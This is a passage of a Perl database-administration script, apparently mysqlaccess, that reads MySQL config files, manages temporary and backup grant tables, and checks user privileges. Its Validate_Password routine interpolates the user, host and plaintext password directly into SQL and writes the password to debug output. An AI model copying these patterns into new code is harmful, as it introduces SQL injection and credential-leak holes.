                         }
                     }
                     if ( $group eq 'client' || $group eq "client-server") {
                         $MYSQL_CNF{'mysql'}{$item} = $value;
                         $MYSQL_CNF{'mysqldump'}{$item} = $value;
                     } else {
                         $MYSQL_CNF{$group}{$item} = $value;
                     }
                 }
             }
         }
         close(CNF);
    }
}

# =================================
# sub MergeConfigFiles
#  merge options from config files
#  NOTE: really should do two separate merges for each
#    client to exactly duplicate order of resulting argument lists
# =================================
sub MergeConfigFiles {
    my ($name,$pass,$uid,$gid,$quota,$comment,$gcos,$dir,$shell) = getpwuid $<;
    MergeConfigFile("/usr/my.cnf");
    MergeConfigFile("/etc/my.cnf");
    MergeConfigFile("$dir/.my.cnf");
}

# =================================
# sub WriteTempConfigFile
#  write 
# =================================
sub WriteTempConfigFile {
   sysopen CNFFILE, $MYSQL_CNF, O_RDWR|O_CREAT|O_EXCL, 0700
      or die "sysopen $MYSQL_CNF: $!";
   
   # groups may be in any order, generic groups such as [client] assumed
   # here to be empty
   foreach $group (keys %MYSQL_CNF) {
      print CNFFILE "[$group]\n";
      foreach $item (keys %{$MYSQL_CNF{$group}}) {
         if ( defined $MYSQL_CNF{$group}{$item} ) {
            print CNFFILE "$item=$MYSQL_CNF{$group}{$item}\n";
         } else {
            print CNFFILE "$item\n";
         }
      }
      print CNFFILE "\n";
   }
   close(CNFFILE);
}

######################################################################
package MySQLaccess::DB;
###########
BEGIN {
    $DEBUG     = 2;
    $DEBUG     = $MySQLaccess::DEBUG unless ($DEBUG);
    # Error-messages from the MySQL client
    %ACCESS_ERR= ('Access_denied'       => 'Access denied' 
                 ,'Dbaccess_denied'     => 'Access to database denied'
                 ,'Unrecognized_option' => 'unrecognized option' 
                 ,'Unknown_table'       => "Can't find file:"
                 ,'unknown_error'       => '^ERROR:'
                 );
}
# ######################################
#  Connecting to the MYSQL DB
# ======================================
# sub OpenConnection
#  Open an connection to the mysql-db
#  questions to MYSQL_Q
#  answers from MYSQL_A
# ======================================
sub OpenConnection {
    my $pid;
    MySQLaccess::Debug::Print(2,"OpenConnection:");

    # check path to mysql-client executable
    if (! -f $MySQLaccess::MYSQL) {
       if ($MySQLaccess::CMD) { die "Could not find MySQL-client '$MySQLaccess::MYSQL'"; }
       if ($MySQLaccess::CGI) { 
          print "<center>\n<font color=Red>\n";
          print "ERROR: Could not find MySQL-client '$MySQLaccess::MYSQL'";
          print "</center>\n</font>\n";
          exit 0;
       }
    }

    # path to mysql executable
    my $connect = "$MySQLaccess::MYSQL --defaults-file=$MySQLaccess::MYSQL_CNF";
    $connect .= " $MySQLaccess::MYSQL_OPT";
    # superuser, spassword transmitted via defaults-file
    if (defined($MySQLaccess::Param{'rhost'}))     { $connect .= " --host=$MySQLaccess::Param{'rhost'}"; }
    # other options??

    # grant-database
    $connect .= " $MySQLaccess::ACCESS_DB";

    # open connection (not using /bin/sh -c)
    MySQLaccess::Debug::Print(2,"Connecting to: $connect");
    $pid=IPC::Open3::open3(\*MYSQL_Q,\*MYSQL_A,"",split /\s+/,$connect);
    MySQLaccess::Debug::Print(2,"PID of open pipe: $pid");
    
    # check connection 
    print MYSQL_Q "select 'ok';\n";
    $answer = <MYSQL_A>; #answer from mysql
    MySQLaccess::Debug::Print(2,"Answer: $answer\n");
    foreach $nerror (sort(keys(%ACCESS_ERR))) {
      MySQLaccess::Debug::Print(3,"check answer for error $ACCESS_ERR{$nerror}");
      if (grep(/$ACCESS_ERR{$nerror}/i,$answer)) { 
         MySQLaccess::Debug::Print(2,"Answer contain error [$nerror]");
         return $nerror; 
      }
    }

if (0) {
    # check server-version 
    print MYSQL_Q "select 'ok';\n";
    $answer = <MYSQL_A>; #answer from mysql
    MySQLaccess::Debug::Print(2,"Answer: $answer\n");
    foreach $nerror (sort(keys(%ACCESS_ERR))) {
      MySQLaccess::Debug::Print(3,"check answer for error $ACCESS_ERR{$nerror}");
      if (grep(/$ACCESS_ERR{$nerror}/i,$answer)) { 
         MySQLaccess::Debug::Print(2,"Answer contain error [$nerror]");
         return $nerror; 
      }
    }
}

    my $skip=<MYSQL_A>; 
    return 0; 
}

# ======================================
# sub CloseConnection
#  Close the connection to the mysql-db
# ======================================
sub CloseConnection {
    close MYSQL_Q;
    close MYSQL_A;
}

# ===========================================================
# sub CreateTable($table)
#  Create temporary/backup table
# ===========================================================
sub CreateTable {
    my $pid;
    my ($table,$force) = @_;
    my %tables = ( $MySQLaccess::ACCESS_U_TMP => $MySQLaccess::ACCESS_U,
                   $MySQLaccess::ACCESS_H_TMP => $MySQLaccess::ACCESS_H,
                   $MySQLaccess::ACCESS_D_TMP => $MySQLaccess::ACCESS_D,
                   $MySQLaccess::ACCESS_U_BCK => $MySQLaccess::ACCESS_U,
                   $MySQLaccess::ACCESS_H_BCK => $MySQLaccess::ACCESS_H,
                   $MySQLaccess::ACCESS_D_BCK => $MySQLaccess::ACCESS_D,
                   $MySQLaccess::ACCESS_U => $MySQLaccess::ACCESS_U_BCK,
                   $MySQLaccess::ACCESS_H => $MySQLaccess::ACCESS_H_BCK,
                   $MySQLaccess::ACCESS_D => $MySQLaccess::ACCESS_D_BCK,
                 ); 
    my $tbl;
    my $query="";
    my $delim;
    my $skip;
    my $create;
    my @known_tables=();

#    print STDERR "CreateTable($table)\n";
    MySQLaccess::Debug::Print(1,"CreateTable($table):");

    ## error-handling
    return 'Unknown_table' unless defined($tables{$table});

    ## build list of known/existing tables;
    ## if 'force' existing table is dropped first
    if (defined($force) and $force) {
       @known_tables = Show_Tables();
       if (grep(/^$table$/,@known_tables)) {
       $query = "DROP TABLE $table;";
       }
    }

    ## path to mysqldump executable
    my $connect = $MySQLaccess::MYSQLDUMP;
    $connect .= " --defaults-file=$MySQLaccess::MYSQL_CNF --no-data";
    # superuser, spassword transmitted via defaults-file
    if (defined($MySQLaccess::Param{'rhost'}))     { $connect .= " --host=$MySQLaccess::Param{'rhost'}"; }
    $connect .= " $MySQLaccess::ACCESS_DB";
    $connect .= " $tables{$table}";


    ## get creation-data for original table
    $create = '';
    my $mysqldump = $connect;
    $mysqldump =~ s/ \$TABLE / $tbl /;

    # open connection (not using /bin/sh -c)
    MySQLaccess::Debug::Print(2,"Connecting to: $connect");
    $pid=IPC::Open3::open3(\*DONTCARE,\*CREATE,"",split /\s+/,$mysqldump);
    MySQLaccess::Debug::Print(2,"PID of open pipe: $pid");
    #open(CREATE,"$mysqldump");
    @create = <CREATE>;
    $create = "@create";
    foreach $nerror (sort(keys(%ACCESS_ERR))) {
       MySQLaccess::Debug::Print(3,"check answer for error $ACCESS_ERR{$nerror}");
       if (grep(/$ACCESS_ERR{$nerror}/i,$create)) { 
          MySQLaccess::Debug::Print(2,"Answer contain error [$nerror]");
          return $nerror; 
       }
    }
    close(CREATE);
    close(DONTCARE);

    ## manipulate result for creation-data for temporary table
    $create =~ s/CREATE TABLE $tables{$table} \(/CREATE TABLE $table \(/;

    ## recreate temporary table
    $query .= "$create\n";
    $query .= "select 'ok';";

    ## execute query
    print MYSQL_Q "$query\n";
#    print STDERR $query;

    $answer = <MYSQL_A>; #answer from mysql
#    print STDERR "A>",$answer;
    MySQLaccess::Debug::Print(2,"Answer: $answer\n");
    foreach $nerror (sort(keys(%ACCESS_ERR))) {
#       print STDERR "->$nerror?";
       MySQLaccess::Debug::Print(3,"check answer for error $ACCESS_ERR{$nerror}");
       if (grep(/$ACCESS_ERR{$nerror}/i,$answer)) { 
#          print STDERR "Yes!";
          MySQLaccess::Debug::Print(2,"Answer contain error [$nerror]");
          return $nerror; 
       }
    }

    $delim = <MYSQL_A>; # read header
    if ($delim ne "ok\n") {
       while (($line=<MYSQL_A>) ne "ok\n")
       { MySQLaccess::Debug::Print(3," A> $line"); }
        $skip = <MYSQL_A>; # skip result 'ok'
    }
#    print STDERR "CreateTable done\n";
    return 0;
}


# ===========================================================
# sub CopyTable()
#  Copy the structure and the data of a table to another table
# ===========================================================
sub CopyTable {
    my ($from,$to,$force) = @_;
    my @known_tables  = Show_Tables();    
    my $query = "";
    my $nerror= 0;
    my $skip;

#    print STDERR "CopyTable($from,$to)\n";
    MySQLaccess::Debug::Print(1,"MySQLaccess::DB::CopyTable($from,$to)");

    ## error-handling
    if (!grep(/^$from$/,@known_tables)) { return 'Unknown_table'; }

    ## copy structure 
    ## if forced
    if (defined($force) and $force) {
       return $nerror if ($nerror=CreateTable($to,$force)); 
#       print STDERR "Structure copied\n";
    }

    ## copy data
    $query .= "DELETE FROM $to;";
    $query .= "INSERT INTO $to SELECT * FROM $from;";
    $query .= "SELECT 'ok';\n";
    MySQLaccess::Debug::Print(2,"Query: $query");
       
    ## execute query
    print MYSQL_Q "$query\n";
#    print STDERR $query;

    ## check for errors...
    my $answer = <MYSQL_A>; #answer from mysql
#    print STDERR $answer;
    MySQLaccess::Debug::Print(2,"Answer: $answer\n");
    foreach $nerror (sort(keys(%ACCESS_ERR))) {
       MySQLaccess::Debug::Print(3,"check answer for error $ACCESS_ERR{$nerror}");
       if (grep(/$ACCESS_ERR{$nerror}/i,$answer)) { 
          MySQLaccess::Debug::Print(2,"Answer contain error [$nerror]");
          return $nerror; 
       }
    }

    my $delim = <MYSQL_A>; # read header
#    print STDERR $delim;
    if ($delim ne "ok\n") {
       while (($line=<MYSQL_A>) ne "ok\n")
       { MySQLaccess::Debug::Print(3," A> $line"); }
       $skip = <MYSQL_A>; # skip result 'ok'
    }

    return 0;
}

# ===========================================================
# sub LoadTmpTables()
#  (Re)load temporary tables with entries of ACL-tables
# ===========================================================
sub LoadTmpTables {
    my %tables = ( $MySQLaccess::ACCESS_U => $MySQLaccess::ACCESS_U_TMP,
                   $MySQLaccess::ACCESS_H => $MySQLaccess::ACCESS_H_TMP,
                   $MySQLaccess::ACCESS_D => $MySQLaccess::ACCESS_D_TMP,
                 ); 
    my $tbl;
    my $nerror;
    
#    print STDERR "LoadTmpTables:\n";
    MySQLaccess::Debug::Print(1,"LoadTmpTables():");
    foreach $tbl (keys(%tables)) {
#       print STDERR "$tbl -> $tables{$tbl}\n";
       MySQLaccess::Debug::Print(2,"Loading table $tbl -> $tables{$tbl}.");
       return $nerror if ($nerror=CopyTable($tbl,$tables{$tbl},'force'));
    }
    return 0;
}

# ===========================================================
# sub BackupGrantTables()
#  Make a backup of the original grant-tables
# ===========================================================
sub BackupGrantTables {
    my %tables = ( $MySQLaccess::ACCESS_U => $MySQLaccess::ACCESS_U_BCK,
                   $MySQLaccess::ACCESS_H => $MySQLaccess::ACCESS_H_BCK,
                   $MySQLaccess::ACCESS_D => $MySQLaccess::ACCESS_D_BCK,
                 ); 
    my $tbl;
    my $nerror;
    
#    print STDERR "BackupGrantTables:\n";
    MySQLaccess::Debug::Print(1,"BackupGrantTables():");
    foreach $tbl (keys(%tables)) {
#       print STDERR "$tbl -> $tables{$tbl}\n";
       MySQLaccess::Debug::Print(2,"Backup table $tbl -> $tables{$tbl}.");
       return $nerror if ($nerror=CopyTable($tbl,$tables{$tbl},'force'));
    }
    return 0;
}

# ===========================================================
# sub RollbackGrantTables()
#  Rollback the backup of the grant-tables
# ===========================================================
sub RollbackGrantTables {
    my %tables = ( $MySQLaccess::ACCESS_U_BCK => $MySQLaccess::ACCESS_U,
                   $MySQLaccess::ACCESS_H_BCK => $MySQLaccess::ACCESS_H,
                   $MySQLaccess::ACCESS_D_BCK => $MySQLaccess::ACCESS_D,
                 ); 
    my $tbl;
    my $nerror;
    
#    print STDERR "RollbackGrantTables:\n";
    MySQLaccess::Debug::Print(1,"RollbackGrantTables():");
    foreach $tbl (keys(%tables)) {
#       print STDERR "$tbl -> $tables{$tbl}\n";
       MySQLaccess::Debug::Print(2,"Rollback table $tbl -> $tables{$tbl}.");
       return $nerror if ($nerror=CopyTable($tbl,$tables{$tbl},'force'));
    }
    return 0;
}


# ===========================================================
# sub CommitGrantTables()
#  Copy grant-rules from temporary tables to the ACL-tables
# ===========================================================
sub CommitGrantTables {
    my %tables = ( $MySQLaccess::ACCESS_U => $MySQLaccess::ACCESS_U_TMP,
                   $MySQLaccess::ACCESS_H => $MySQLaccess::ACCESS_H_TMP,
                   $MySQLaccess::ACCESS_D => $MySQLaccess::ACCESS_D_TMP,
                 ); 
    my $tbl;
    my $query;
    my $delim;
    my $skip;
    my $create;

    print STDERR "CommitGrantTables()\n";
    MySQLaccess::Debug::Print(1,"CommitGrantTables():");
    
    ## Make backup of original grant-tables
    MySQLaccess::Debug::Print(2,"Making backup of original grant-tables...");
    BackupGrantTables();

    ## Copy data from temporay tables to grant-tables
    foreach $tbl (keys(%tables)) {
       print STDERR "$tbl -> $tables{$tbl}\n";
       MySQLaccess::Debug::Print(2,"Loading data $tables{$tbl} -> $tbl.");
       return $nerror if ($nerror=CopyTable($tables{$tbl},$tbl));
    }
    return 0;
}


# ===========================================================
# sub Show_Fields($table): 
#  return (a reference to) a hash which holds the names
#  of all relevant grant-fields, with their index in the record,
#  and (a reference to) an array which holds the fieldnames.
# ===========================================================
sub Show_Fields {
    my ($table) = @_;
    my %skip = ('host' => [0,1]
               ,'user' => [0,1,2]
               ,'db'   => [0,1,2]
               );
    my %Struct = ();
    my @Struct = ();
    my $query = "show fields from $table;select 'ok';\n";
    my $i=0;
    my $line;

#print STDERR $query;
    MySQLaccess::Debug::Print(1,"Show_Fields($table):");
    MySQLaccess::Debug::Print(2,"SQL: $query");

    print MYSQL_Q "$query";
    my $skip = <MYSQL_A>;  #skip header
    while (($line=<MYSQL_A>) ne "ok\n")
    {
#print STDERR ">",$line;
	chop($line);
	MySQLaccess::Debug::Print(2," $table>: $line");
	my ($field,$type,$null,$key,$default,$extra) = split(' ',$line);
        $field = ucfirst($field); 
	MySQLaccess::Debug::Print(3, " <split: $field - $type - $null - $key - $default - $extra");
	if (! grep(/$i/,@{$skip{$table}}) ){
	   $Struct{$field} = $i; #hash
	   push(@Struct,$field); #array
	   MySQLaccess::Debug::Print(3," ==> added column[$i]: $field ($Struct{$field})");
	} 
        else {
           MySQLaccess::Debug::Print(3," ==> skipped column[$i], value=[$field]");
        }
	$i++;
    }

    $skip=<MYSQL_A>;  # Get ok row (found already ok header)

    MySQLaccess::Debug::Print(2, "Array:");
    foreach $field (@Struct) { MySQLaccess::Debug::Print(2,"+ $field"); }
    MySQLaccess::Debug::Print(2,"Hash:");
    foreach $field (keys(%Struct)) { MySQLaccess::Debug::Print(2,"+ $field -> $Struct{$field}"); }

    return  (\%Struct,\@Struct); 
}

# ===========================================================
# sub Show_Tables(): 
#  return (a reference to) an array which holds all 
#  known tables.
# ===========================================================
sub Show_Tables {
    my @Tables = ();
    my $query = "show tables;select 'ok';\n";
    my $i=0;
    my $line;

    MySQLaccess::Debug::Print(1,"Show_Tables():");
    MySQLaccess::Debug::Print(2,"SQL: $query");

    print MYSQL_Q "$query";
    my $skip = <MYSQL_A>;  #skip header
    while (($line=<MYSQL_A>) ne "ok\n")
    {
	chop($line);
	push(@Tables,$line); #array
	MySQLaccess::Debug::Print(3," ==> added table: $line");
    }

    $skip=<MYSQL_A>;  # Get ok row (found already ok header)

    MySQLaccess::Debug::Print(2, "Array:");
    foreach $tbl (@Tables) { MySQLaccess::Debug::Print(2,"+ $tbl"); }

    return @Tables; 
}

# ======================================
# sub Validate_Password($passwd,$host,$user,$encpw)
#  Validate the given password 
#  for user '$user' 
#  connecting from host '$host'
# ======================================
sub Validate_Password {
    my ($password,$host,$user,$encpw) = @_;
    my $valid=0;

    MySQLaccess::Debug::Print(1,"Validate_Password($password,$host,$user,$encpw)");
    my $sql = "select host,user,password from user having "
             ."host='$host' and user='$user' and password='$encpw' "
             ."and password=PASSWORD('$password');\n";
    $sql .= "select 'ok';\n";
    MySQLaccess::Debug::Print(2,"SQL = $sql");
    print MYSQL_Q "$sql";
    
    # if password is valid, at least 1 row returns before we read 'ok'
    while ( ($line=<MYSQL_A>) ne "ok\n") {
      MySQLaccess::Debug::Print(2," A> $line");
      $valid = defined($line); 
    }
    my $skip = <MYSQL_A>; # read 'ok'

    return $valid;
}


# ==========================================================
# sub Sort_fields: (rewritten by psmith)
#  Build the query for an ordered list of entries
# ==========================================================
sub Sort_fields {
  my ($start, $end, $sofar, $this, @rest) = (@_);
  my @where = ("((FIELD not like '\\%') AND (FIELD <> ''))",
               "((FIELD like '%\\%%') OR (FIELD like '%\\_%'))",
               "(FIELD = '')");
  my $res = '';

  $this or return ("$start $sofar $end");

  $sofar .= ' AND ' if $sofar;

  foreach $w (@where) {
    my $f = $w;
    $f =~ s/FIELD/$this/g;

    $res .= Sort_fields($start, $end, "$sofar$f", @rest);
  }

  return ($res);
}

# ===========================================================
# sub Sort_table: (rewritten by psmith)
#  return all entries in the given table,
#  in an ordered fashion
# ===========================================================
sub Sort_table {
    my ($tbl, @order) = @_;
    my @res=();

    # as long as there's no full where clause (Distrib 3.20)...
    # use having :-(
    # NOTE: this clause WILL NOT work on 3.21, because of the
    # order of 'ORDER BY' and 'HAVING'
    my $start = "SELECT *,UCASE(host) as ucase_host FROM $tbl ";
    $start   .= 'ORDER BY ' . join(',', @order) ." HAVING ";
    my $end   = ";\n";

    # server version 3.21 has a full where clause :-)
    if ($MySQLaccess::Host::SERVER >= '3.21') {
    # print "+++USING FULL WHERE CLAUSE+++\n";
       $start = "SELECT *,UCASE(host) as ucase_host FROM $tbl WHERE ";
       $end = ' ORDER BY ' . join(',', @order) . ";\n";
    }

    MySQLaccess::Debug::Print(1,"Sort_table():");
    MySQLaccess::Debug::Print(2,"Sorting table $tbl by `@order'");

    my $tmp;
    foreach $tmp (@order)
    {
      $tmp="UCASE(host)" if ($tmp eq "ucase_host");
    }
    my $query  = Sort_fields($start, $end, '', @order);
    $query    .= "select 'ok';\n";
    MySQLaccess::Debug::Print(2,"Query: $query");

    print MYSQL_Q "$query\n";

    my $delim = <MYSQL_A>; # read header
    MySQLaccess::Debug::Print(3," A> $delim");
    if ($delim ne "ok\n") {
       if ($delim =~ /^ERROR/) {
       push(@MySQLaccess::Grant::Error,'use_old_server');
       MySQLaccess::Report::Print_Error_Messages() ;
       exit 1;
       }
       while (($line=<MYSQL_A>) ne "ok\n")
       {
           MySQLaccess::Debug::Print(3," A> $line");
           push(@res,$line);
       }
    }
    my $skip = <MYSQL_A>; # skip result 'ok'

    # remove columnheaders from output
    @res = grep(!/^\Q$delim\E$/, @res);
    # remove trailing \n from each returned record
    chomp(@res); 
    # each record has 1 field to much : ucase_host
    @res = grep { /(.*)\t.*$/; $_ = $1; } @res;

    MySQLaccess::Debug::Print(2,"Result of sorted table $tbl:");
    foreach $line (@res) { MySQLaccess::Debug::Print(2," >>$line"); }
    return @res;
}

# ===========================================================
# sub Get_All_db(template): 
#  return all db the grant-tables are working on,
#  which conform to the template
# ===========================================================
sub Get_All_dbs {
   my ($template,$tmp) = @_;
   my @db=();
   my $aref;

   # working with  temporary tables or production tables
   if (defined($tmp) and $tmp) {
      $aref = \@MySQLaccess::Grant::sorted_db_tmp_table ;
   }
   else {
      $aref = \@MySQLaccess::Grant::sorted_db_table;
   }

   MySQLaccess::Debug::Print(1," template=[$template]");

   # get all db for which access-rights can be calculated,
   # which conform to the template.
   # !! these db's don't have to exist yet, so it's not
   #    enough to look which db already exist on the system
   $reg_expr = $template;
   if ($template =~ /[\*\?]/) {
      $reg_expr =~ tr/*?/%_/;
      #$reg_expr = MySQLaccess::Wildcards::Wild2Reg($template);
   }
   $reg_expr = MySQLaccess::Wildcards::SQL2Reg("$reg_expr");

   if ( ! ($template =~ /[\*\?%_]/) ) {
      push(@db,$template);
      return \@db;
   }

   MySQLaccess::Debug::Print(2,"#Reading db-table...");
   foreach $record (@{$aref}) { #MySQLaccess::Grant::sorted_db_table) {
    my @record=split(/\t/,$record);
    my $db = $record[1];
    MySQLaccess::Debug::Print(2,"> $db ");
    if ( (!grep(/$db/i,@db)) and ($db =~/$reg_expr/i) ) {
       push(@db,$db);
       MySQLaccess::Debug::Print(2,"added");
    } 
    else {
       MySQLaccess::Debug::Print(2,"skipped");
    }
   }
   # if no rule is found for a certain db in the db-table,
   # the rights of the user are used, so we should inform
   # the user for
   if (!grep(/^%$/,@db)) { push(@db,"$MySQLaccess::NEW_DB"); }
   return \@db;
}

# ===========================================================
# sub Get_All_users(template): 
#  return all users the grant-tables are working on,
#  which conform to the template
# ===========================================================
sub Get_All_users {
   ($template,$tmp) = @_; # nog verder uitwerken!!!
   my @user=();
   my $aref;

   # working with  temporary tables or production tables
   if (defined($tmp) and $tmp) {
      $aref = \@MySQLaccess::Grant::sorted_user_tmp_table ;
   }
   else {
      $aref = \@MySQLaccess::Grant::sorted_user_table;
   }

   MySQLaccess::Debug::Print(1,"Debug Get_All_users:");
   # get all db for which access-rights can be calculated.
   # !! these db's don't have to exist yet, so it's not
   #    enough to look which db already exist on the system
   $reg_expr = $template;
   if ($template =~ /[\*\?]/) {
      $reg_expr =~ tr/*?/%_/;
      #$reg_expr = MySQLaccess::Wildcards::Wild2Reg($template);
   }
   $reg_expr = MySQLaccess::Wildcards::SQL2Reg("$reg_expr");

   if ( ! ($template =~ /[\*\?%_]/) ) {
      push(@user,$template);
      return \@user;
   }

   MySQLaccess::Debug::Print(2,"#Reading user-table...");
   foreach $record (@{$aref}) { #MySQLaccess::Grant::sorted_user_table) {
    my @record=split(/\t/,$record);
    my $user = $record[1];
    MySQLaccess::Debug::Print(2,"> $user ");
    if ( (!grep(/$user/,@user)) and ($user=~/$reg_expr/)) {
       push(@user,$user);
       MySQLaccess::Debug::Print(2, "added");
    } 
    else {
       MySQLaccess::Debug::Print(2, "skipped");
    }
   }
   # Any user means also:
   # - the 'empty' user, ie without supplying a username
   # - any user still to be defined/created
   #push(@user,'');               #without_suplying_a_username
   push(@user,"$MySQLaccess::NEW_USER");
   #push(@Warnings,'minimum_priv');
   return \@user;
}

# ===========================================================
# sub Get_All_hosts(template): 
#  return all hosts the grant-tables are working on,
#  which conform to the template
# ===========================================================
sub Get_All_hosts {
   my ($template,$tmp) = @_;
   my @host=();
   my $aref;
   my $aref1;

   # working with  temporary tables or production tables
   if (defined($tmp) and $tmp) {
      $aref = \@MySQLaccess::Grant::sorted_host_tmp_table ;
      $aref1= \@MySQLaccess::Grant::sorted_db_tmp_table ;
   }
   else {
      $aref = \@MySQLaccess::Grant::sorted_host_table;
      $aref1= \@MySQLaccess::Grant::sorted_db_table ;
   }

   MySQLaccess::Debug::Print(1, "Debug Get_All_hosts:");
   # get all db for which access-rights can be calculated.
   # !! these db's don't have to exist yet, so it's not
   #    enough to look which db already exist on the system
   $reg_expr = $template;
   if ($template =~ /[\*\?]/) {
      $reg_expr =~ tr/*?/%_/;
      #$reg_expr = MySQLaccess::Wildcards::Wild2Reg($template);
   }
   $reg_expr = MySQLaccess::Wildcards::SQL2Reg("$reg_expr");

   if ( ! ($template =~ /[\*\?%_]/) ) {
      push(@host,$template);
      return \@host;
   }

   MySQLaccess::Debug::Print(1, "#Reading db-table...");
   foreach $record (@{$aref1}) { #MySQLaccess::Grant::sorted_db_table) {
    my @record=split(/\t/,$record);
    my $host = $record[0];
    MySQLaccess::Debug::Print(2, "> $host ");
    if (! grep(/$host/i,@host)) {
       push(@host,$host);
       MySQLaccess::Debug::Print(2, "added");
    } 
    else {
       MySQLaccess::Debug::Print(2, "skipped");
    }
   }
   MySQLaccess::Debug::Print(1, "#Reading host-table...");
   foreach $record (@{$aref}) {
    my @record=split(/\t/,$record);
    my $host = $record[0];
    MySQLaccess::Debug::Print(2, "> $host ");
    if ( (!grep(/$host/,@host)) and ($host=~/$reg_expr/)) {
       push(@host,$host);
       MySQLaccess::Debug::Print(2, "added");
    } 
    else {
       MySQLaccess::Debug::Print(2, "skipped");
    }
   }
   # DOUBT:
   #print "#Reading user-table...\n" if ($DEBUG>1);
   #foreach $record (@MySQLaccess::Grant::sorted_user_table) {
   # my @record=split(/\t/,$record);
   # my $host = $record[0];
   # print "> $host " if ($DEBUG>2);
   # if ( (!grep(/$host/,@host)) and ($host=~/$reg_expr/)) {
   #    push(@host,$host);
   #    print "added\n" if ($DEBUG>2);
   # } 
   # else {
   #    print "skipped\n" if ($DEBUG>2);
   # }
   #}
   # Any host also means:
   # - any host still to be defined/created
   #push(@host,"any_other_host");

   @host = sort(@host);
   return \@host;
}


##########################################################################
package MySQLaccess::Grant;
##############
BEGIN {
    $DEBUG     = 0;
    $DEBUG     = $MySQLaccess::DEBUG unless ($DEBUG);
}



# ===========================================================
# sub Diff_Privileges()
#  Calculate diff between temporary and original grant-tables
# ===========================================================
sub Diff_Privileges {
   my @before=();
   my @after =();
   my @diffs =();

   # -----------------------------
   # Build list of users,dbs,hosts
   # to process...
   my @all_dbs   = @{MySQLaccess::DB::Get_All_dbs('*')};
   my @all_users = @{MySQLaccess::DB::Get_All_users('*')};
   my @all_hosts = @{MySQLaccess::DB::Get_All_hosts('*')};
   #if EDIT-mode
   my @all_dbs_tmp   = @{MySQLaccess::DB::Get_All_dbs('*','tmp')};
   my @all_users_tmp = @{MySQLaccess::DB::Get_All_users('*','tmp')};
   my @all_hosts_tmp = @{MySQLaccess::DB::Get_All_hosts('*','tmp')};


   my %Access;
   # ------------------------------------
   # Build list of priv. for grant-tables
   foreach $host (@all_hosts) {
     foreach $user (@all_users) {
       foreach $db (@all_dbs) {
         MySQLaccess::Grant::Initialize();
         %Access = MySQLaccess::Grant::Get_Access_Rights($host,$user,$db);	
         push(@before,MySQLaccess::Report::Raw_Report($host,$user,$db,\%Access));
       }
     }
   }

   # ----------------------------------
   # Build list of priv. for tmp-tables
   foreach $host (@all_hosts_tmp) {
     foreach $user (@all_users_tmp) {
       foreach $db (@all_dbs_tmp) {
         MySQLaccess::Grant::Initialize('tmp');
         %Access = MySQLaccess::Grant::Get_Access_Rights($host,$user,$db,'tmp');	
         push(@after,MySQLaccess::Report::Raw_Report($host,$user,$db,\%Access));
       }
     }
   }

   # ----------------------------------
   # Write results to temp-file to make
   # DIFF
   @before = sort(@before);
   @after  = sort(@after);

   ($hb, $before) = tempfile("$MySQLaccess::script.XXXXXX") or
    push(@MySQLaccess::Report::Errors,"Can't create temporary file: $!");
   ($ha, $after)  = tempfile("$MySQLaccess::script.XXXXXX") or
    push(@MySQLaccess::Report::Errors,"Can't create temporary file: $!");

   print $hb join("\n",@before);
   print $ha join("\n",@after);
   close $hb;
   close $ha;

   # ----------------------------------
   # compute difference
   my $cmd="$MySQLaccess::DIFF $before $after |";
   open(DIFF,"$cmd");
   @diffs = <DIFF>;
   @diffs = grep(/[<>]/,@diffs);
   chomp(@diffs);
   close(DIFF);

   # ----------------------------------
   # cleanup temp. files
   unlink($before);
   unlink($after);

   return \@diffs;
}

# ===========================================================
# sub Initialize()
#
# ===========================================================
sub Initialize {
    %MySQLaccess::Grant::Access       = %{Default_Access_Rights()};
    @MySQLaccess::Grant::Errors       = ();
    @MySQLaccess::Grant::Warnings     = ();
    @MySQLaccess::Grant::Notes        = ();
    # -----
    # rules
    $MySQLaccess::Grant::Rules{'user'} = 'no_rule_found';
    $MySQLaccess::Grant::Rules{'db'}   = 'no_rule_found';
    $MySQLaccess::Grant::Rules{'host'} = 'no_equiv_host';
    $MySQLaccess::Grant::full_access   = 1;

    $MySQLaccess::Grant::process_host_table = 0;
    return 1;
}

# ===========================================================
# sub ReadTables()
#  
# ===========================================================
sub ReadTables {
    my ($tmp) = @_;
    my ($HOST,$DB,$USER);
    my @tables;

    # build list of available tables
    @tables = MySQLaccess::DB::Show_Tables();

    # reading production grant-tables or temporary tables?
    $tmp = (defined($tmp) and $tmp) ? 1 : 0;
    if ($tmp) { #reading temporary tables
       $HOST=$MySQLaccess::ACCESS_H_TMP;
       $DB  =$MySQLaccess::ACCESS_D_TMP;
       $USER=$MySQLaccess::ACCESS_U_TMP;

       # ----------------------------
       # do tables exist?
       if (!grep(/$HOST/,@tables)) { MySQLaccess::DB::CreateTable($HOST); }
       if (!grep(/$USER/,@tables)) { MySQLaccess::DB::CreateTable($USER); }
       if (!grep(/$DB/,@tables))   { MySQLaccess::DB::CreateTable($DB); }

       MySQLaccess::Debug::Print(1,"Finding fields in tmp-ACL files:");
       # -----------------------------
       # Get record-layout 
       my ($h1,$h2) = MySQLaccess::DB::Show_Fields($HOST);
       my ($d1,$d2) = MySQLaccess::DB::Show_Fields($DB);
       my ($u1,$u2) = MySQLaccess::DB::Show_Fields($USER);
       %MySQLaccess::Grant::H_tmp = %{$h1}; @MySQLaccess::Grant::H_tmp = @{$h2};
       %MySQLaccess::Grant::D_tmp = %{$d1}; @MySQLaccess::Grant::D_tmp = @{$d2};
       %MySQLaccess::Grant::U_tmp = %{$u1}; @MySQLaccess::Grant::U_tmp = @{$u2};

#       @MySQLaccess::Grant::Privileges_tmp=@{Make_Privlist()};
#
       MySQLaccess::Debug::Print(1, "Reading sorted temp-tables:");
       @MySQLaccess::Grant::sorted_db_tmp_table  = MySQLaccess::DB::Sort_table($DB, 'ucase_host', 'user', 'db');
       @MySQLaccess::Grant::sorted_host_tmp_table= MySQLaccess::DB::Sort_table($HOST, 'ucase_host', 'db');
       @MySQLaccess::Grant::sorted_user_tmp_table= defined($MySQLaccess::Param{'password'}) ?
                           MySQLaccess::DB::Sort_table($USER, 'ucase_host', 'user', 'password'):
                           MySQLaccess::DB::Sort_table($USER, 'ucase_host', 'user');
    }
    else {      #reading production grant-tables
       $HOST=$MySQLaccess::ACCESS_H;
       $DB  =$MySQLaccess::ACCESS_D;
       $USER=$MySQLaccess::ACCESS_U;

       MySQLaccess::Debug::Print(1,"Finding fields in ACL files:");
       # -----------------------------
       # Get record-layout 
       my ($h1,$h2) = MySQLaccess::DB::Show_Fields($HOST);
       my ($d1,$d2) = MySQLaccess::DB::Show_Fields($DB);
       my ($u1,$u2) = MySQLaccess::DB::Show_Fields($USER);
